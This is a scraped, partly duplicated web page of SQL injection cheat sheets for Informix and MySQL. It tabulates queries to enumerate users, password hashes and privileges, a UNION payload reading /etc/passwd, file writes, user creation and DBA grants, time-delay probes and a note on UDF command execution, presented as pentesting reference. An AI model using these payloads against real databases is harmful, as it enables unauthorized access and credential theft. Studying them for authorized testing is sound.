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Some useful syntax reminders for SQL Injection into Informix databases…
Some useful syntax reminders for SQL Injection into Oracle databases This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. Some useful syntax reminders for SQL Injection into Oracle databases This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. MySQL SQL Injection Cheat Sheet Pentester Skills,SQL Injection; Tags: pentestmonkey sql injection, sql injection command; no comments Some useful syntax reminders for SQL Injection into MySQL databases This post is part of a series of SQL Injection Cheat Sheets.
Below are some tabulated notes on how to do many of thing you’d normally do via SQL injection. All tests were performed on Informix Dynamic Server Express Edition 11.5 for Windows. The Informix download page is here.
This post is part of series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Version | SELECT DBINFO(‘version’, ‘full’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘server-type’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘major’), DBINFO(‘version’, ‘minor’), DBINFO(‘version’, ‘level’) FROM systables WHERE tabid = 1; SELECT DBINFO(‘version’, ‘os’) FROM systables WHERE tabid = 1; — T=Windows, U=32 bit app on 32-bit Unix, H=32-bit app running on 64-bit Unix, F=64-bit app running on 64-bit unix |
Comments | select 1 FROM systables WHERE tabid = 1; — comment |
Current User | SELECT USER FROM systables WHERE tabid = 1; select CURRENT_ROLE FROM systables WHERE tabid = 1; |
List Users | select username, usertype, password from sysusers; |
List Password Hashes | TODO |
List Privileges | select tabname, grantor, grantee, tabauth FROM systabauth join systables on systables.tabid = systabauth.tabid; — which tables are accessible by which users select procname, owner, grantor, grantee from sysprocauth join sysprocedures on sysprocauth.procid = sysprocedures.procid; — which procedures are accessible by which users |
List DBA Accounts | TODO |
Current Database | SELECT DBSERVERNAME FROM systables where tabid = 1; — server name |
List Databases | select name, owner from sysdatabases; |
List Columns | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid; |
List Tables | select tabname, owner FROM systables; select tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid; |
List Stored Procedures | select procname, owner FROM sysprocedures; |
Find Tables From Column Name | select tabname, colname, owner, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid where colname like ‘%pass%’; |
Select Nth Row | select first 1 tabid from (select first 10 tabid from systables order by tabid) as sq order by tabid desc; — selects the 10th row |
Select Nth Char | SELECT SUBSTRING(‘ABCD’ FROM 3 FOR 1) FROM systables where tabid = 1; — returns ‘C’ |
Bitwise AND | select bitand(6, 1) from systables where tabid = 1; — returns 0 select bitand(6, 2) from systables where tabid = 1; — returns 2 |
ASCII Value -> Char | TODO |
Char -> ASCII Value | select ascii(‘A’) from systables where tabid = 1; |
Casting | select cast(’123′ as integer) from systables where tabid = 1; select cast(1 as char) from systables where tabid = 1; |
String Concatenation | SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ SELECT concat(‘A’, ‘B’) FROM systables where tabid = 1; — returns ‘AB’ |
String Length | SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
If Statement | TODO |
Case Statement | select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
Avoiding Quotes | TODO |
Time Delay | TODO |
Make DNS Requests | TODO |
Command Execution | TODO |
Local File Access | TODO |
Hostname, IP Address | SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
Location of DB files | TODO |
Default/System Databases | These are the system databases: sysmaster sysadmin* sysuser* sysutils* |
* = don’t seem to contain anything / don’t allow readingInstalling Locally

You can download Informix Dynamic Server Express Edition 11.5 Trial for Linux and Windows.
Database ClientThere’s a database client SDK available, but I couldn’t get the demo client working.
I used SQuirreL SQL Client Version 2.6.8 after installing the Informix JDBC drivers (“emerge dev-java/jdbc-informix” on Gentoo).Logging in from command line
If you get local admin rights on a Windows box and have a GUI logon:
- Click: Start | All Programs | IBM Informix Dynamic Server 11.50 | someservername. This will give you a command prompt with various Environment variables set properly.
- Run dbaccess.exe from your command prompt. This will bring up a text-based GUI that allows you to browse databases.

Oracle Sql Injection Cheat Sheet Pentestmonkey
The following were set on my test system. This may help if you get command line access, but can’t get a GUI – you’ll need to change “testservername”:
My default installation listened on two TCP ports: 9088 and 9099. When I created a new “server name”, this listened on 1526/TCP by default. Nmap 4.76 didn’t identify these ports as Informix:
$ sudo nmap -sS -sV 10.0.0.1 -p- -v –version-all
…
1526/tcp open pdap-np?
9088/tcp open unknown
9089/tcp open unknown
…
TODO How would we identify Informix listening on the network?
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Some useful syntax reminders for SQL Injection into MySQL databases…
This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
The complete list of SQL Injection Cheat Sheets I’m working is:
I’m not planning to write one for MS Access, but there’s a great MS Access Cheat Sheet here.
Sqli Cheat Sheet
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
Version | SELECT @@version |
Comments | SELECT 1; #comment SELECT /*comment*/1; |
Current User | SELECT user(); SELECT system_user(); |
List Users | SELECT user FROM mysql.user; — priv |
List Password Hashes | SELECT host, user, password FROM mysql.user; — priv |
Password Cracker | John the Ripper will crack MySQL password hashes. |
List Privileges | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
List DBA Accounts | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Current Database | SELECT database() |
List Databases | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
List Columns | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
List Tables | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Find Tables From Column Name | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’ |
Select Nth Row | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0 |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); # returns c |
Bitwise AND | SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0 |
ASCII Value -> Char | SELECT char(65); # returns A |
Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
Casting | SELECT cast(’1′ AS unsigned integer); SELECT cast(’123′ AS char); |
String Concatenation | SELECT CONCAT(‘A’,’B’); #returns AB SELECT CONCAT(‘A’,’B’,’C’); # returns ABC |
If Statement | SELECT if(1=1,’foo’,’bar’); — returns ‘foo’ |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A |
Avoiding Quotes | SELECT 0×414243; # returns ABC |
Time Delay | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
Make DNS Requests | Impossible? |
Command Execution | If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. |
Local File Access | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system |
Hostname, IP Address | SELECT @@hostname; |
Create Users | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Delete Users | DROP USER test1; — priv |
Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv |
Location of DB files | SELECT @@datadir; |
Default/System Databases | information_schema (>= mysql 5.0) mysql |
